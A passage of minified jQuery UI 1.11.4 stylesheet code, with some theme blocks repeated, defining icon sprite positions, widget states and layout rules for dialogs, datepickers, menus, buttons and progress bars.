-160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{border-top-left-radius:3px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{border-top-right-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{border-bottom-left-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{border-bottom-right-radius:3px}.ui-widget-overlay{background:#aaa;opacity:.3;filter:Alpha(Opacity=30)}.ui-widget-shadow{margin:0 0 0 0;padding:5px;background:#666;opacity:.3;filter:Alpha(Opacity=30);border-radius:8px}
/*! jQuery UI - v1.11.4 - 2016-05-17
* http://jqueryui.com
* Copyright jQuery Foundation and other contributors; Licensed MIT */

.ui-widget{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #ddd;background:#e9e9e9;color:#333;font-weight:bold}.ui-widget-header a{color:#333}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default{border:1px solid #c5c5c5;background:#f6f6f6;font-weight:normal;color:#454545}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited{color:#454545;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus{border:1px solid #ccc;background:#ededed;font-weight:normal;color:#2b2b2b}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited{color:#2b2b2b;text-decoration:none}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active{border:1px solid #003eff;background:#007fff;font-weight:normal;color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #dad55e;background:#fffa90;color:#777620}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#777620}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #f1a899;background:#fddfdf;color:#5f3f3f}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#5f3f3f}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#5f3f3f}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-state-default .ui-icon{background-image:url("images/ui-icons_777777_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon{background-image:url("images/ui-icons_555555_256x240.png")}.ui-state-active .ui-icon{background-image:url("images/ui-icons_ffffff_256x240.png")}.ui-state-highlight .ui-icon{background-image:url("images/ui-icons_777620_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url("images/ui-icons_cc0000_256x240.png")}.ui-icon-blank{background-position:16px 16px}.ui-icon-carat-1-n{background-position:0 0}.ui-icon-carat-1-ne{background-position:-16px 0}.ui-icon-carat-1-e{background-position:-32px 0}.ui-icon-carat-1-se{background-position:-48px 0}.ui-icon-carat-1-s{background-position:-64px 0}.ui-icon-carat-1-sw{background-position:-80px 0}.ui-icon-carat-1-w{background-position:-96px 0}.ui-icon-carat-1-nw{background-position:-112px 0}.ui-icon-carat-2-n-s{background-position:-128px 0}.ui-icon-carat-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-64px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-64px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:0 -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{border-top-left-radius:3px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{border-top-right-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{border-bottom-left-radius:3px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{border-bottom-right-radius:3px}.ui-widget-overlay{background:#aaa;opacity:.3;filter:Alpha(Opacity=30)}.ui-widget-shadow{margin:0 0 0 0;padding:5px;background:#666;opacity:.3;filter:Alpha(Opacity=30);border-radius:8px}
/*! jQuery UI - v1.11.4 - 2016-05-15
* http://jqueryui.com
* Copyright jQuery Foundation and other contributors; Licensed MIT */

.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;min-height:0;font-size:100%}.ui-accordion .ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-icons .ui-accordion-icons{padding-left:2.2em}.ui-accordion .ui-accordion-header .ui-accordion-header-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-button{display:inline-block;position:relative;padding:0;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2.2em}button.ui-button-icon-only{width:2.4em}.ui-button-icons-only{width:3.4em}button.ui-button-icons-only{width:3.7em}.ui-button .ui-button-text{display:block;line-height:normal}.ui-button-text-only .ui-button-text{padding:.4em 1em}.ui-button-icon-only .ui-button-text,.ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px}.ui-button-text-icon-primary .ui-button-text,.ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em}.ui-button-text-icon-secondary .ui-button-text,.ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em}.ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em}input.ui-button{padding:.4em 1em}.ui-button-icon-only .ui-icon,.ui-button-text-icon-primary .ui-icon,.ui-button-text-icon-secondary .ui-icon,.ui-button-text-icons .ui-icon,.ui-button-icons-only .ui-icon{position:absolute;top:50%;margin-top:-8px}.ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.ui-button-text-icon-primary .ui-button-icon-primary,.ui-button-text-icons .ui-button-icon-primary,.ui-button-icons-only .ui-button-icon-primary{left:.5em}.ui-button-text-icon-secondary .ui-button-icon-secondary,.ui-button-text-icons .ui-button-icon-secondary,.ui-button-icons-only .ui-button-icon-secondary{right:.5em}.ui-buttonset{margin-right:7px}.ui-buttonset .ui-button{margin-left:0;margin-right:-.3em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-dialog{overflow:hidden;position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-se{width:12px;height:12px;right:-5px;bottom:-5px;background-position:16px 16px}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:none}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{position:relative;margin:0;padding:3px 1em 3px .4em;cursor:pointer;min-height:0;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-button{display:inline-block;overflow:hidden;position:relative;text-decoration:none;cursor:pointer}.ui-selectmenu-button span.ui-icon{right:0.5em;left:auto;margin-top:-8px;position:absolute;top:50%}.ui-selectmenu-button span.ui-selectmenu-text{text-align:left;padding:0.4em 2.1em 0.4em 1em;display:block;line-height:1.4;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider 